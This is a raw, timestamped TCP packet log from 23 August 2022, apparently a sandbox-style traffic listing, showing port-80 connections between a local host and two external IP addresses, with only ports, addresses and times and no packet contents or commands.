Aug 23, 2022 03:42:56.119580030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119600058 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119601011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119620085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119621992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119633913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119642973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119659901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119664907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119687080 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119688988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119699001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119707108 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119728088 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119749069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119750023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119771957 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119791985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119801044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119812965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119820118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119833946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.119834900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119858027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.119874001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120609999 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120632887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120651960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120666981 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120671988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120692968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120698929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120713949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120734930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120735884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120757103 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120765924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120778084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.120781898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120807886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.120837927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.123909950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.123933077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.123951912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.123994112 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.124051094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.125488997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.125511885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.125531912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.125554085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.125572920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.125583887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.125607014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.125633955 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.133765936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.134015083 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.134438038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134476900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134521961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134555101 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134571075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.134598017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134604931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.134630919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134655952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134675980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.134694099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.134711981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134743929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134753942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.134762049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.134805918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.143831968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.143930912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159697056 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159734964 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159761906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159778118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159790039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159818888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159826994 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159887075 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159917116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159943104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159945011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.159970999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159982920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.159993887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160022020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160032988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160062075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160089016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160137892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160160065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160209894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160257101 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160259008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160343885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160389900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160435915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160463095 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160521984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160557032 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160586119 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160614014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160634041 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160643101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160646915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160670996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160685062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160700083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160718918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160728931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160793066 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160836935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160864115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160892010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160912037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160919905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160939932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.160949945 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.160969019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161000013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161036968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161063910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161086082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161117077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161118984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161135912 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161144972 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161156893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161175966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161204100 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161241055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161272049 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161305904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161354065 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161374092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161402941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161421061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161432028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161454916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161461115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161465883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161489010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161537886 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161539078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161587954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161645889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161704063 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161752939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161781073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161811113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161819935 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161832094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161860943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161861897 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161911011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161914110 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161940098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.161957026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.161967993 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162015915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162019014 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162064075 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162101030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162111998 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162137985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162167072 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162188053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162197113 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162240982 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162247896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162296057 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162344933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162348032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162373066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162390947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162403107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162411928 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162451982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162481070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162496090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162508011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162538052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162554026 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162565947 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162610054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162616014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162645102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162672997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162693977 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162702084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162723064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162729979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162751913 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162777901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162779093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162830114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162831068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162861109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162878990 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162889004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162913084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162938118 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.162942886 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162985086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.162986994 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163016081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163038015 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163058996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163062096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163111925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163114071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163142920 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163163900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163171053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163191080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163202047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163218975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163228989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163245916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163259029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163275003 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163302898 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163306952 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163342953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163381100 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163388014 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163393021 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163415909 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163439035 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163445950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163453102 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163475990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163489103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163503885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163516045 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163532019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163543940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163559914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163577080 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163590908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163603067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163620949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163633108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163649082 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163669109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163698912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163744926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163748026 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163775921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163805008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163830042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163832903 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163846970 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163902044 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.163954020 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.163965940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164151907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164184093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164208889 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164211988 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164222956 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164241076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164256096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164269924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164283037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164308071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164320946 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164335966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164347887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164366007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164383888 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164392948 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164422035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164437056 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164449930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164459944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164478064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164496899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164505959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164520025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164535046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164563894 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164583921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164593935 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164609909 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164621115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164635897 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164649963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164661884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164680004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164695978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164707899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164737940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164755106 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164767027 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164778948 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164796114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164810896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164824963 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164835930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164853096 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164865971 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164913893 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164916039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.164943933 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.164984941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165024042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165025949 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165055037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165056944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165070057 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165103912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165133953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165149927 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165173054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165183067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165211916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165221930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165257931 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165261984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165332079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165361881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165380001 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165391922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165400982 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165420055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165448904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.165465117 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165491104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.165497065 CEST	80	49792	135.181.104.248	192.168.2.4
